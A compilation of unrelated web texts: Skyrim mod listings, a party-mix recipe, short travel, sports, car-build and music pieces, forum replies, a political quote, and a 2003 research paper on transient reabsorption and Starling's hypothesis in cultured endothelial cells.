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Toggle Khajit Night Eye
|Nov 23, 2011
|****** Toggle Khajit Night Eye by Hull ****** Increases the duration of the Night Eye power. ****** Install ****** (1) Put the .esp file into your /Data/ folder in your skyrimm install location. (2) At the skyrim launcher, click on Data Files, and make sure that nighteyetoggle.esp is checked. OR open %localappdata%\Skyrim\plugins.txt and add nighteyetoggle.esp to a new line. ****** Uninstall ****** Delete nighteyetoggle.esp
Vivid Eyes
|Nov 20, 2011
|Since many times I had trouble seeing even which color my character's eyes were, I decided it might be a good idea to revitalize some of them. That's exactly what I've done here. Note that this mod doesn't replace all the eye textures, but mainly only replaces some of the less appealing eyes that the human type races had.
Skyrim Profile Manager
|Nov 19, 2011
|This is a simple launcher that manages individual save profiles. Skyrim natively doesn't organize your saves very well, this allows you to have multiple characters with multiple autosaves, etc.
Igna - Savegame
|Nov 19, 2011
|---------------- Igna - Savegame by pLAN_S ---------------- Female Nord. Screenshot included. Enjoy. /pLAN_S exclusively on skyrimforge.com --------------------------------------------------------------------------------- YOU ARE NOT ALLOWED TO UPLOAD THIS ON THE NEXUS-NETWORK, THIS INCLUDES SKYRIMNEXUS, NEWVEGASNEXUS, OR ANY OTHER OF THEIR SITES. ---------------------------------------------------------------------------------
Nanine - Savegame
|Nov 19, 2011
|—————————— Nanine – Savegame by pLAN_S —————————— Female redguard. Screenshot included. Enjoy. /pLAN_S exclusively on skyrimforge.com ———————————————————————————————————————————- YOU ARE NOT ALLOWED TO UPLOAD THIS ON THE NEXUS-NETWORK, THIS INCLUDES SKYRIMNEXUS, NEWVEGASNEXUS, OR ANY OTHER OF THEIR SITES. ———————————————————————————————————————————-
River View Home
|Nov 17, 2011
|RiverView Player Home Overview This mod will provide a player owned home near the town of Riverwood after completing a small quest. The home is suited for Hunters and Delvers a like and will feature ample storage and display space for your items. Layout First Floor Foyer Main entrance to the home Decorative weapon mounts Great Room Hearth Seating Area Shield Mounts Pantry Food Storage Sorted Food Display Kitchen Cooking Area Storage Working Sink Dinning Hall Seating for 6 Display Cabinet for...
DorkDiva elf eye pack
|Nov 15, 2011
|This replaces the elf eye textures with slit pupil varieties, more will be available upon release of the CK. Drop the data folder into the Skyrim directory.
Skip intro in new game
|Nov 15, 2011
|Fed up with wasting 6 minutes of bla-bla-bla when want to start from scratch? Here is solution: savegame right before appearance selection. How to install: Unzip downloaded file to %UserDocuments%\My Games\Skyrim\Saves\
I Wash - New Skin for Skyrim
|Nov 15, 2011
|"I Wash" Skyrim Skin Mod by Blocky (Aed) Description Gets rid of 90% of the dirt, moles, zits, bruises, insects, and ingrown hairs on all male characters in the game. A similar mod by another author already exists for females. Installation: 1. Extract the "textures" folder and put it in your Skyrim/Data/ folder. 2. There is no second step. Grats your character washes! User Review http://www.youtube.com/watch?feature=player_embedded&v=KvngfbiRh6o @1:16 by MMOxReview
Nude Females - Barbie Doll
|Nov 12, 2011
|sigh* I was wondering if it was possible, and it was. And now I'd feel bad if I didn't release. This mod removes the underwear. You will look like a barbie doll (no nipples or other parts). I have no desire to make textures for this, so someone else will have to edit them if they want that (edit the textures included in this mod, not the originals, as I had some issues using the original textures).


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Make Your Own Party Mixby Dana Angelo White in Healthy Recipes, September 7, 2012
Party mix used to be something you made at home (often using a recipe on the side of the Chex box), but nowadays you can find packages of crunchy cereal mixes at any gas station. We're going old school and making our own, but with a healthier spin.
Nutrition Facts
Along with convenience comes preservatives — packaged sweet cereal mixes have multiple sources of added sugars, not to mention a lengthy list of artificial flavors and preservatives and even some trans fats. Most varieties will run about 130 to 150 calories and 4 to 5 grams of fat per serving (servings range from 1/3 to ½ cup depending on the flavor).
Making your own with nuts and other real food ingredients may not slash calories and fat but you'll still be better off — you'll know exactly what you're munching.
Chocolate-Cherry Crunch Mix
Makes: about 10 cups
2 tablespoons honey
1 teaspoon unsweetened cocoa powder
2 tablespoons canola oil
5 cups whole-grain cereal (such as Chex or Nature's Path)
2 cups whole-wheat mini pretzels
½ cup dry roasted almonds
½ cup salted peanuts
½ cup dried bananas (unsweetened)
½ cup dried cherries
2 tablespoons mini chocolate chunks
Pinch sea salt (optional)
Line a baking sheet with parchment paper, set aside. In a microwave safe bowl combine honey, cocoa powder and canola oil; microwave on high for 30 to 45 seconds, remove and stir until honey is dissolved.
In a separate large bowl combine cereal, pretzels, nuts, bananas and cherries. Pour hot cocoa mixture over cereal mixture and toss to coat. Microwave on high for 3 minutes, stirring occasionally.
Spread hot mixture on prepared baking sheet and sprinkle with sea salt, if using. Allow to cool completely. Once cool, toss in chocolate chunks and store in an airtight container.
Nutrition Info Per Serving (½ cup)
Calories: 122
Total Fat: 4 grams
Saturated Fat: 1 gram
Total Carbohydrate: 20 grams
Sugars: 6 grams
Protein: 2 grams
Sodium: 143 milligrams
Cholesterol: 0 milligrams
Fiber: 2 grams
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There must be no city or town in France that does not have art museums. This is because the country is known to have produced and is still producing great talents when it comes to the art scene. One of these art museums is the Fine Arts Museum that is regarded as one of the grandest attractions in Beaune.
This museum is almost filled to the hilt with fascinating exhibits that cover a great array of time periods and artistic disciplines. Although the fine art collections in this museum is not as grand as the ones that are in display in the big cities in France, the collection in the Fine Arts Museum in Beaune is known to be among the good ones. The collection is regarded to be full of character and charm and is arranged quite interestingly. As one of the best attractions in Beaune, you will also be able to see some carvings from the Gallo-Roman period in the museum as well as a choice of paintings from Felix Ziem, a Beaune artist.
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Minor league baseball: Reno's future Triple-A team to ramp up visibility
It's less than a year until affiliated baseball makes its return to Reno. Less than a year before the yet-to-be-named team's initial fans will pass through the turnstiles of a brand new stadium and eagerly stand in line for hot dogs aplenty. Yet other...
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For this project, Dan didn't use a buck. With the body mimicking the characteristics of a '32 Ford so closely, and with the full-scale drawings, Dan started working metal to form the cowl, then the doors, and ultimately the floor and trans tunnel. His tools of the trade include a planishing hammer, Pullmax, English wheel, and a lot of cursing. Once the main body was created it was attached to the frame and shipped off to Craig for the hood, seats, and forming of the rear section—which Dan welded and finished due to time constraints with the '05 SEMA Show fast approaching and Ford having a space reserved in its booth for the car.
Craig also created the nose in stainless steel plated in polished nickel. Dan and Craig told everyone it was "German silver" because it is virtually impossible to form real German silver to the extent that was necessary to create the nose, and so they wanted to jerk around some of the other body builders and fab guys. It's a fabricator thing, I guess. Additionally, he whittled the flowing windshield posts exactly as I drew them.
For go, Dan wanted the smallest four-banger he could find—one that would look like something from Harry Miller's shop today. He stumbled across a Zakspeed 2.3L collecting dust in a friend's shop. These started life in '80s T-Birds here, and Merkurs in Europe. The forged pistons were machined with valve reliefs for the Zakspeed twin-cam head. It was a work of art, but this engine had seen better days. As Dan describes it, "Tortured to death—a real piece of junk." Yet he liked how exotic and compact it looked, deciding it would look better if he spun the head 180 degrees to get the exhaust on the passenger side. So now the intake ports house the exhaust valves, with the intake-valve pockets sleeved for the exhaust valves. Says Dan, "It sounds difficult and we expected it to be, but it was so easy we thought we made a mistake."
Compression is 12.5:1, the cams are reversed side to side, and it will easily spin to 7,500 rpm. The induction is a one-off EFI set up by FAST. Dan converted the engine to a dry sump utilizing a Peterson oil pump to lose height, allowing it to sit low in the saddle. He machined the new pan and also the cam covers with bucket actuators. Horsepower is right at 400. "It sounds like an angry mosquito," Dan says with a laugh. Also note the XRP hoses and fittings, "just like the IndyCars use."
The transmission is a Tremec T-5, directing power to a one-off quickchange Dan designed on CAD before Tribal Motor Works machined it from billet aluminum. Strange floating axles are attached to floating hubs machined by Dan. Brakes are twin Strange calipers gripping 14-inch rotors from JMA Tool. Hand-made friction shocks dampen the corners. A Top Fuel dragster rack-and-pinion unit handles steering.
Is this thing cartoony? Sure! Is that what we wanted? You betcha! Is it polarizing? I'm not sure, but what I know is that the designs I have done over the years that satisfy me the most tend to be polarizing. I get more enjoyment over people's reactions when they are strong one way or the other. I'm not insulted if somebody doesn't like something I've designed—it's not a verdict about me—it's just how the car strikes him or her.
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"I hope you know," Gordon Gano sings, "That this will go down on your permanent record." The line, which gives title to this live release (and a greatest hits collection), comes from the Violent Femmes' debut. It's also the first in a three-song encore from this 49-minute show, recorded at Virginia's Boat House on July 21, 1991. The Wisconsin trio gives an impassioned performance, pulling out all the stops for a spooky version of "Confessions," for which they bring out Caleb Alexander on saxophone. Throughout the show, singer/guitarist Gano looks like a mischievous choirboy, bass player Brian Ritchie looks like a hillbilly (must be that mullet), and percussionist Victor DeLorenzo looks like Moe Tucker in that he too plays an upright drum kit. Most importantly, though, the band sounds great. Permanent Record includes seven videos spanning the Femmes' career, from 1983-1994, along with a lo-fi street performance of "Kiss Off." --Kathleen C. Fennessy
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hmmmm Wouldn't want one tbh rather happy with my partner but in the imaginary world of moi single and desperate and willing too would be jared padalecki.
Avan Jogia who plays Beck on "Victorious"!
none because i think i found the person ill marry or may marry already.14
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None of them. I know it's a generalization but I imagine that most celebrities are pretty full of themselves.
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None! Celebrities make bad spouses. They lack the time to make a marriage work and many are egotistical.
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They will be hoping that we've been sufficiently distracted by anecdotes about a handful of individuals cheating the system to lose sight of the mountain of evidence of an entire tax system designed to allow the richest people and the biggest companies to avoid paying a fair share that is measured in billions of pounds a year. They will be praying that the phrase 'the deserving and undeserving poor' has started to sound less like a Victorian relic, as risible and inappropriate as having a butler iron the morning newspaper and bring it in on a silver tray, and more like a nugget of sound common sense. And waiting to find out whether they have, via the power of simple repetition, pulled off the same trick with other phrases and concepts yoked in suddenly binary opposition. Has the war between 'hardworking families' and 'feckless single mothers', say, moved from handy assertion on their part to unassailable fact in our minds? Are those who object to workfare jobs really objecting to a modern form of bonded labour, or arrogantly and ungratefully rejecting the chance for self and social betterment? When we think of the welfare state, does our mind's eye still picture a safety net, or has that been supplanted by Iain Duncan Smith's cruel mantrap with its teeth sunk into the nobly struggling legs of the common man and insisting on dragging him into the dark woods of dependency? Lucy Mangan, "Has the coalition lost its cutting edge?"


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|Table of Contents
|Vol. 40, No. 4, 2003
Issue release date: July–August 2003
|Section title: Research Paper
In vitro Study of Starling's Hypothesis in a Cultured Monolayer of Bovine Aortic Endothelial CellsPang Z. · Tarbell J.M.
Biomolecular Transport Dynamics Laboratory, Departments of Chemical Engineering and Bioengineering, The Pennsylvania State University, University Park, Pa., USA Corresponding Author
Starling's hypothesis that fluid movement across the microvascular wall is determined by the transmural differences in hydrostatic and osmotic pressures was tested using an in vitro model comprised of bovine aortic endothelial cells grown on a porous support. In all experiments, a 1% bovine serum albumin (BSA) solution was maintained in the abluminal reservoir and the luminal reservoir contained either a 1 or a 5.5% BSA solution. The global osmotic pressure difference across the endothelial layers was thus either 0 or 20.3 cm H2O. When the luminal concentration of BSA was changed from 1 to 5.5% at a hydrostatic pressure differential of 5, 10 or 20 cm H2O, no reverse flow (in the reabsorption direction) was observed even though the hydrostatic pressure differential was far below the global osmotic pressure differential. In another case, the hydrostatic pressure differential was dropped quickly from 20 to 5 cm H2O, while a constant osmotic pressure differential was maintained by 5.5% BSA in the luminal reservoir. A strong transient reabsorption flow was observed over a 30-second period which diminished to undetectable levels within 2.5 min; then a sustained steady-state filtration flow was observed after 20 min. These in vitro experiments support other studies in capillaries showing transient reabsorption that decays to steady-state filtration at longer times.
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Starling's pioneering hypothesis that fluid movement across microvascular walls is determined by the transmural difference in hydrostatic and oncotic pressures [1] has become a general principle of cardiovascular and renal physiology [2]. Starling noted that higher protein concentration in the plasma acts as an opposing force to the hydrostatic pressure and that hydrostatic and oncotic pressures reach a balance which determines the flux. The Starling relationship between the transmural fluid flow rate per unit area of capillary wall, Jv/A, and the differentials between capillary and interstitial values of hydrostatic pressure, Pc – Pi, and osmotic pressure, πc – πi, is usually expressed as
Jv/A = LP · [Pc – Pi – σ · (πc – πi)] (1)
where LP, the hydraulic conductivity, and σ, the reflection coefficient, are properties of the capillary wall. An inference of the classical Starling hypothesis is that there is a net filtration in the capillaries on the arterial side and reabsorption (flow against the hydrostatic pressure gradient) on the venous side where the osmotic pressure differential is higher than the hydrostatic pressure differential.
Studies by Intaglietta and Zweifach [3] challenged the notion that significant reabsorption occurs at the venous end of the microcirculation where the osmotic force exceeds the hydrostatic force. Their investigations indicated that fluid reabsorption by way of the Starling mechanism was demonstrable in short-term experiments (where protein does not attain steady-state distribution in the extravascular space), but not on a long-term, steady-state basis. This was clearly confirmed by Michel and Phillips [4] who performed experiments on isolated, perfused, frog mesenteric microvessels using the Landis technique and observed transient reabsorption over a period of 15–30 s after the hydrostatic pressure was dropped below the osmotic pressure, as expected from Starling's law. When the measurements were extended 2–5 min after the pressure drop, however, there was no evidence of reabsorption even though the osmotic pressure was significantly greater than the hydrostatic pressure.
To explain this paradox in the steady state, Michel and Phillips [4] presented a novel assumption that the pericapillary concentration, Ci, that determines πi in equation 1, was given by a mixing condition such that
Ci = Js/Jv (2)
where Js is the transmural flow rate of the osmotic solute. In general, Ci differs from the global tissue concentration, which in experiments is typically fixed by bathing solutions or external reservoirs. This assumption, when combined with the classical convective coupling equation for solute transport [5], leads to the following modified Starling law [4].
Pe = Jv(1 – σ)/Pd (4)
is the Péclet number and Pd is the diffusive permeability of albumin. This theory predicts that when the solute permeability is finite, steady-state reabsorption of fluid from tissue to capillary cannot be maintained by the Starling mechanism alone.
A much more detailed microstructural model of the endothelial transport barrier accounting for the surface glycocalyx layer and the fine structure of the interendothelial tight junction has provided further insights into the Starling mechanism [6, 7]. This model predicts that the Starling forces are determined by the local differences in hydrostatic and osmotic pressures across the surface glycocalyx layer. Additional experiments in frog mesenteric microvessels which support this new view of Starling's hypothesis have been reported recently [8].
The controlled experiments which support a modified Starling hypothesis have been limited to frog mesenteric capillaries. Our group, and many others, have studied endothelial transport properties using in vitro models comprised of cultured endothelial cells grown on porous supports [9, 10, 11]. To further test the Starling hypothesis, in the present study, we used an in vitro model which was well established in our laboratory, bovine aortic endothelial cells (BAECs ) on polycarbonate filters, and conducted experiments paralleling those described by Michel and Phillips [4] and Hu et al. [8]. We also observed transient reabsorption after lowering hydrostatic pressure which reverted to filtration in the steady state.
The following chemicals were obtained from Sigma Chemical (St. Louis, Mo., USA): bovine serum albumin (BSA; 30% solution, fraction V), trypsin, minimal essential media (MEM), glutamic acid, sodium bicarbonate, fetal bovine serum (FBS), fibronectin (cell culture grade from bovine plasma, lyophilized), acetic acid (glacial) and penicillin-streptomycin solution. Polycarbonate filters (Transwell Chamber, 0.4 μm pore size, 24.5 mm diameter) were obtained from Costar (Cambridge, Mass., USA).
Endothelial cells were either harvested from bovine thoracic aortas or purchased from VEC Technologies, Inc. (Rensselaer, N.Y., USA), and cultured in MEM supplemented with 10% FBS as described previously [12]. Cells of passage 8–11 were seeded at a density of 2.5 × 105 cells/cm2 on polycarbonate filters pretreated with gelatin (5 mg/l) and fibronectin (30 μg/ml). All experiments were performed on monolayers 7–9 days following seeding.
A detailed description of the experimental apparatus used to measure volume flux was presented in Sill et al. [13]. Briefly, the entire apparatus was housed in a Plexiglas box and kept at an ambient air temperature of 37°C. The polycarbonate membrane Transwell filter which contained the BAEC monolayer was sealed within a two-piece polycarbonate assembly that separated the luminal (monolayer side) and abluminal compartments. A 5% CO2-95% air gas port provided continual positive pressure outgassing and maintained pH at 7.4. The abluminal chamber was attached by Tygon tubing to a borosilicate glass tube followed by additional Tygon tubing to a reservoir. The difference in level of the fluid in the luminal compartment and in the reservoir provided an adjustable hydrostatic pressure head (ΔP) which acted as a driving force for fluid movement. The experimental media was MEM with different concentrations of BSA and no FBS.
For the measurement of water flux, an air bubble was introduced into the medium in the borosilicate glass tube and bubble movement, indicative of volume flux, was measured using a custom-designed tracking device interfaced with a computer. The tracking unit consisted of a traveling spectrophotometer that recorded the bubble's displacement versus time, allowing calculation of the volumetric flow rate as follows:
Jv = (Δd/Δt) · F (5)
where Δd/Δt is bubble displacement per unit time and F is a tube calibration factor (i.e. fluid volume contained in a known length of tubing). Because a bubble tracker could follow bubble motion in one direction only, two bubble trackers were used to measure bubble motion in opposite directions simultaneously so that a change in flow direction (reabsorption) could be detected when luminal pressure was suddenly dropped below osmotic pressure.
At the beginning of an experiment, MEM supplemented with 1% BSA (MEM/1% BSA), was added to the luminal and abluminal chambers to minimize the osmotic pressure differential. Only 1.5 ml was added to the luminal side. A hydrostatic pressure differential was not applied at this stage. After a 1-hour equilibration period, a 5, 10 or 20 cm H2O pressure differential was gradually imposed across the monolayer over a 1-min time interval and volumetric flow rate was recorded by the bubble tracker for 2.5 h. The first hour was required to obtain a stable baseline volume of Jv. At 60 min, 1.5 ml of MEM/10% BSA was added to the luminar chamber, providing a mixed luminal concentration of 5.5% BSA to initiate the osmotic pressure difference. The experiments were then conducted for another 1.5 h.
In another set of experiments, after the 1-hour equilibration period, 1.5 ml MEM/10% BSA was added to the luminal chamber, while a 20 cm H2O hydraulic pressure differential was imposed almost simultaneously. But after 60 min, the abluminal reservoir was smoothly raised up 15 cm over a 1-min time interval, reducing the hydrostatic pressure differential from 20 to 5 cm H2O (still a positive pressure drop). The movement of the bubble was monitored for another 1.5 h. The same protocol with 1% BSA in both the luminal and abluminal chambers was used as a control.
In order to drive steady-state transmural flow from the abluminal to the luminal compartment (negative flow or reabsorption), MEM/1% BSA was placed in both the luminal and abluminal compartments, and after a 1-hour equilibration period, a 10 cm H2O hydrostatic pressure differential was applied to the monolayer for 1 h. Then the abluminal reservoir was raised over a period of 1 min to obtain –2, –4, and –10 cm H2O pressure differentials, each level being held for 20 min. Finally, the +10 cm H2O condition was restored and the final value of Lp was compared with the initial value at +10 cm H2O.
Selected monolayers were visualized for damage after exposure to the various experimental treatments for 150 min. A fluorescent indicator, calcein AM (Molecular Probes), was used to check cell viability. Briefly, monolayers were rinsed with PBS, followed by incubation in 0.005 mg/ml calcein AM for 15 min at 37°C. An Olympus IMT-2 inverted microscope was used to visualize the cell monolayer at excitation of 480 nm and emission of 535 nm. Viable cells were stained in green and viewed at a magnification of ×100.
Figure 1 shows the time course of changing the luminal BSA concentration from 1 to 5.5%. Upon application of a hydrostatic pressure gradient of 10 cm H2O at time 0, a characteristic time-dependent decrease in Jv occurred that reached a steady state within an hour. This response, termed the 'sealing effect', was previously reported by Sill et al. [13]. The value of Jv at 55 min was chosen as the baseline, and other Jv data were normalized by this value to facilitate comparisons among different monolayers. The abluminal concentration was kept at 1% BSA throughout the experiment. For nearly a 10-min period after the change of luminal concentration at 60 min, transmural flow was not detectable, buth there was no reversal of flow either. Then the bubble tracker began to record positive flow again at about 70 min.
Fig. 1. Effect of osmotic pressure on volumetric flow rate at 10 cm H2O positive pressure differential. The luminal concentration of albumin was changed from 1 to 5.5% at 60 min. The abluminal concentration of albumin was maintained at 1%. The baseline Jv at 55 min was 2.38 ± 0.33 (SEM) × 10–6 cm/s · cm H2O (n = 5).
The osmotic pressure of BSA solutions (π in cm H2O) can be determined from the BSA concentration (C in g/dl), using π = 3.305 C + 0.136 C2 + 0.0084 C3 [14]. If we use the BSA concentrations in the luminal chamber and abluminal compartment for determining the osmotic pressure differential in Starling's law (equation 1), we estimate that π (5.5%) – π (1%) = 20.3 cm H2O. For a reasonable value of the reflection coefficient, say σ >0.7, the osmotic driving force is expected to be >14.2 cm H2O and reabsorption should occur when the hydrostatic pressure differential is 10 cm H2O. The absence of adsorption in the steady state suggests that the global BSA concentrations do not determine the osmotic pressure differential in Starling's law.
Similar experiments were conducted at 5 cm H2O and 20 cm H2O and similar patterns were observed. Steady Jv values before and after changing the osmotic pressure at 5, 10, and 20 cm H2O are shown in figure 2. A decrease in steady-state volume flux associated with the increased osmotic pressure in the luminal chamber was clearly observed. But once again, there was no evidence of reabsorption (negative flow) at any time during these experiments even in the case of 5 cm H2O hydrostatic pressure differential.
Fig. 2. The steady-state reduction of volume flux by osmotic pressure at different positive pressure differentials. At 5 cm H2O, volume flux was reduced from 1.98 ± 0.27 × 10–6 cm/s (n = 9) at 1%/1% to 0.46 ± 0.10 × 10–7 cm/s (n = 9) at 5.5%/1%. At 10 cm H2O, volume flux was reduced from 2.96 ± 0.29 × 10–6 cm/s (n = 10) at 1%/1% to 1.35 ± 0.3 × 10–7 cm/s (n = 10) at 5.5%/1%. At 20 cm H2O, volume flux was reduced from 9.9 ± 0.5 × 10–6 cm/s (n = 9) at 1%/1% to 4.9 ± 0.80 × 10–6 cm/s (n = 9) at 5.5%/1%.
Because it is difficult to introduce a sudden change in osmotic pressure across the endothelial layer, as we attempted in the experiments summarized in figures 1 and 2, we introduced a rapid change in hydrostatic pressure in the next series of experiments. With 5.5% BSA in the luminal compartment and 1% BSA in the abluminal compartment, the hydrostatic pressure differential was quickly changed from 20 to 5 cm H2O. In this case, a transient reversal of low was observed (fig. 3). The magnitude of the peak reverse flow was much higher than expected for the overall Starling driving force, but it decayed quickly as indicated in figure 4. There was a period of nearly 20 min after decay of the reversal flow during which transmural flow could not be detected in either direction (fig. 3). After that period, positive flow resumed and approached a steady-state level.
Fig. 3. Transient reversal of volumetric flow rate after a sudden reduction of hydrostatic pressure differential from 20 cm H2O to 5 cm H2O. The luminal and abluminal albumin concentrations (5.5%/1%) were not changed. The transient reversal phase is enlarged in figure 4. The baseline Jv was 3.11 ± 0.07 × 10–6 cm/s · cm H2O (n = 4).
Fig. 4. Transient reversal of volumetric flow rate: enlargement of figure 3.
In the control experiment with 1% BSA on both sides of the endothelial layer, where the global osmotic pressure difference was zero throughout the experiment, the sudden change of hydrostatic pressure from 20 to 5 cm H2O did not cause reabsorption (data not shown), indicating that the transient reabsorption was due to the osmotic pressure differential, not an artifact such as instantaneous volume change due to the deformation of the filter membrane after the pressure change or significant fluid accumulation under the monolayer when the pressure differential was reversed.
The high reverse flow recorded in the experiments of figure 3 suggested that the hydraulic conductivity of the in vitro monolayer might be asymmetric, with higher values for flow in the direction of reabsorption. To test this, we placed 1% BSA in both the luminal and abluminal compartments to minimize the osmotic pressure effect so that the hydraulic conductivity could be determined from the classical Starling law (equation 1) as follows:
In view of the more general modified Starling law (equation 3), equation 6 must be considered an approximation. However, using reasonable values of the parameters σ and Pd (discussed in a subsequent section), the approximation underestimates Lp by only 16% at 10 cm H2O. The Lpvalues calculated using equation 6 are listed in table 1.
Table 1. Asymmetric nature of the endothelial transport barrier
The hydraulic conductivity for reverse flow was much higher (about 100-fold) than for forward flow, indicating a highly asymmetric transport barrier. Figure 5 shows a typical time course of Jv when pressure differential was alternated. When pressure differential was changed from 10 to –2 cm H2O, a high reverse flow was observed that kept increasing during the first 5 min and reached a plateau at 10 min. Return to a positive pressure differential (10 cm H2O) was followed by a 'sealing' period similar to the one following the initial exposure to 10 cm H2O pressure differential. Recovery (LpfinalLpinitial) from –2 cm H2O differential pressure was 120% after return to +10 cm H2O differential pressure, suggesting that the cell monolayer was not altered very much by the reverse flow period. However, at higher reverse pressures of –4 and –10 cm H2O, recovery data indicated somewhat greater alteration of the monolayer.
Fig. 5. A typical time course of Jv at alternately positive and negative pressure differentials. Pressure differential was 10 cm H2O for the first hour and a negative pressure differential (–2 cm H2O) was then applied for another 20 min before it was returned to 10 cm H2O.
Selected monolayers stained with calcein AM were visualized under a microscope at a magnification of ×100. There were no apparent areas of endothelial denudation or cell death after experimental treatments including reverse flow experiments.
This study was the first to test the proposal of a modified Starling law [6, 15] in an in vitro endothelial cell monolayer. We observed that the effective osmotic driving force under steady-state conditions was substantially lower than predicted by Starling's law (equation 1) using global concentrations, and that steady-state reabsorption (negative flow) could not be observed even when the global osmotic gradient was substantially higher than the hydrostatic gradient. These observations are consistent with experiments in the microvessels of the frog mesentery [4, 8] and more general considerations of microvascular transport [16]. The results support the hypothesis that local concentrations, not global concentrations, determine the osmotic pressure differential [7].
To assess the steady-state data, the model of Michel and Phillips [4] was used. The parameters Lp, Pd, and σ in equations 3 and 4 were assumed constant (independent of pressure and protein concentration) and were adjusted to minimize the square of the error between the predictions and the data. The resulting values of the parameters are: Lp = 5.1 × 10–7 cm/s/cm H2O; Pd = 1.0 × 10–6 cm/s; σ = 0.71 (dashed lines on figure 2). The Lp and Pd values are consistent with previous measurements of these parameters for BAEC monolayers in vitro [10, 17] and for porcine coronary arterioles in vitro [18] and the σ value is consistent with many in vivo measurements in capillaries [4, 18]. The predicted Péclet numbers vary from 0.013 for the 5.5%/1% case at 5 cm H2O up to 2.87 for the 1%/1% case at 20 cm H2O. The more sophisticated 3-dimensional model of Hu and Weinbaum [7], which focuses on the endothelial surface glycocalyx layer as the primary molecular sieve for plasma proteins, was not investigated.
We were unable to observe transient flow reversal when the luminal osmotic pressure was increased by adding a concentrated albumin solution to the luminal compartment. This would appear to be the result of slow equilibration of the osmotic solute with the endothelial layer due to transport limitations associated with the unstirred layer on the luminal surface of the endothelium.
In order to obtain a more rapid change in the overall Starling driving force, we equilibrated the system at 20 cm H2O differential pressure with 5.5% BSA in the luminal compartment and then quickly dropped the pressure differential to 5 cm H2O. We were able to observe a transient reversal which decayed rapidly during the first 30 s after the pressure change and was no longer observable after about 2 min (fig. 4). A zero flow state then persisted for about 20 min before a positive steady-state flow was finally established (fig. 3). The dynamics of this transient reversal are similar to observations reported by Michel and Phillips [4] and Hu et al. [8] in frog mesenteric capillaries. They reported transient flow reversals during 5- to 20-second vessel occlusions and steady-state positive flows after 2–5 min of occlusion. The time required to establish steady flow was somewhat longer in our in vitro experiments and may have been associated with the transport barrier provided by the supporting filter and the size of the abluminal chamber (20 cm3).
A surprising finding of the present study was the asymmetry of the endothelial transport barrier in vitro. When hydrostatic pressure was used to reverse the direction of volumetric flux from the abluminal compartment to the luminal compartment, there was about a 100-fold increase in Lp (table 1). The in vitro endothelium, thus, has the characteristics of a check valve: high resistance to flow in one direction and low resistance in the opposite direction. Michel and Phillips [4] and Hu et al. [8] did not conduct experiments with the hydrostatic gradient reversed, but their transient osmotic reversal experiments suggested that the hydraulic conductivity was essentially the same in both flow directions, with no evidence of asymmetry. This difference in symmetry of the transport barrier is a distinct difference between the in vitro BAEC model and the frog mesenteric capillary model.
There was a previous report that albumin was transported in an asymmetric fashion across porcine pulmonary artery endothelium in vitro [19]. The transport of albumin from the abluminal to the luminal side was approximately 10-fold greater than the transport from the luminal to the abluminal side. But Siflinger-Birnboim et al. [20] were unable to confirm this finding in a similar system. Huxley and Curry [21] reported asymmetry in barrier hydraulic conductivity with alterations in the albumin content of the luminal and abluminal sides of the blood vessel.
The elevated hydraulic conductivity that we observed for volume flux from the abluminal to the luminal compartment may have derived from the nature of the attachment of the endothelium to its basement matrix which must withstand fluid flow forces tending to cause separation when flow is the direction of reabsorption. When volume flux is in the normal filtration direction, fluid flow forces would tend to stabilize this interface. It should also be noted that there was no 'sealing effect' either when the flow was in the direction of reabsorption (fig. 5). In fact, the hydraulic conductivity actually increased over the time period of reverse flow. This further supports the notion that the change in direction of the pressure and flow forces is somehow responsible for the asymmetry of the transport barrier in vitro.
In spite of a significant difference in the symmetry of the endothelial transport barrier with respect to volume flux, the in vitro BAEC model and frog mesenteric capillaries display similar transport characteristics with respect to osmotic gradients. The fundamental observation in frog mesentery that an overall osmotic gradient favoring classical Starling reabsorption in fact produces steady-state filtration is captured by the in vitro model. In addition, the dynamics of transient reabsorption are similar for both systems. The in vitro model, therefore, should continue to be useful for studies of the endothelial transport barrier when the hydrostatic pressure is highest on the luminal side of the barrier – the most common physiological situation.
This work was supported by NHLBI/NIH Grant R01 HL57093.
Dr. John M. Tarbell
Steinman Hall, Department of Biomedical Engineering
City University of New York
New York, NY 10031 (USA)
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Received: December 16, 2002
Accepted after revision: March 6, 2003
Published online: July 29, 2003
Number of Print Pages : 8
Number of Figures : 5, Number of Tables : 1, Number of References : 21
Journal of Vascular Research (Incorporating International Journal of Microcirculation)
Founded 1964 as Angiologica by M. Comèl and L. Laszt (1964–1973) continued as Blood Vessels by J.A. Bevan (1974–1991)
Official Journal of the European Society for Microcirculation
Vol. 40, No. 4, Year 2003 (Cover Date: July-August 2003)
Journal Editor: U. Pohl, Munich
ISSN: 1018–1172 (print), 1423–0135 (Online)
For additional information: http://www.karger.com/jvr
Starling's hypothesis that fluid movement across the microvascular wall is determined by the transmural differences in hydrostatic and osmotic pressures was tested using an in vitro model comprised of bovine aortic endothelial cells grown on a porous support. In all experiments, a 1% bovine serum albumin (BSA) solution was maintained in the abluminal reservoir and the luminal reservoir contained either a 1 or a 5.5% BSA solution. The global osmotic pressure difference across the endothelial layers was thus either 0 or 20.3 cm H2O. When the luminal concentration of BSA was changed from 1 to 5.5% at a hydrostatic pressure differential of 5, 10 or 20 cm H2O, no reverse flow (in the reabsorption direction) was observed even though the hydrostatic pressure differential was far below the global osmotic pressure differential. In another case, the hydrostatic pressure differential was dropped quickly from 20 to 5 cm H2O, while a constant osmotic pressure differential was maintained by 5.5% BSA in the luminal reservoir. A strong transient reabsorption flow was observed over a 30-second period which diminished to undetectable levels within 2.5 min; then a sustained steady-state filtration flow was observed after 20 min. These in vitro experiments support other studies in capillaries showing transient reabsorption that decays to steady-state filtration at longer times.
© 2003 S. Karger AG, Basel
Dr. John M. Tarbell
Steinman Hall, Department of Biomedical Engineering
City University of New York
New York, NY 10031 (USA)
Tel. +1 212 650 6841, Fax +1 212 650 5768, E-Mail email@example.com
Received: December 16, 2002
Accepted after revision: March 6, 2003
Published online: July 29, 2003
Number of Print Pages : 8
Number of Figures : 5, Number of Tables : 1, Number of References : 21
Journal of Vascular Research (Incorporating International Journal of Microcirculation)
Founded 1964 as Angiologica by M. Comèl and L. Laszt (1964–1973) continued as Blood Vessels by J.A. Bevan (1974–1991)
Official Journal of the European Society for Microcirculation
Vol. 40, No. 4, Year 2003 (Cover Date: July-August 2003)
Journal Editor: U. Pohl, Munich
ISSN: 1018–1172 (print), 1423–0135 (Online)
For additional information: http://www.karger.com/jvr
Received: 12/16/2002
Accepted: 3/6/2003
Published online: 9/26/2003
Issue release date: July–August 2003
Number of Print Pages: 8
Number of Figures: 5
Number of Tables: 1
ISSN: 1018-1172 (Print)
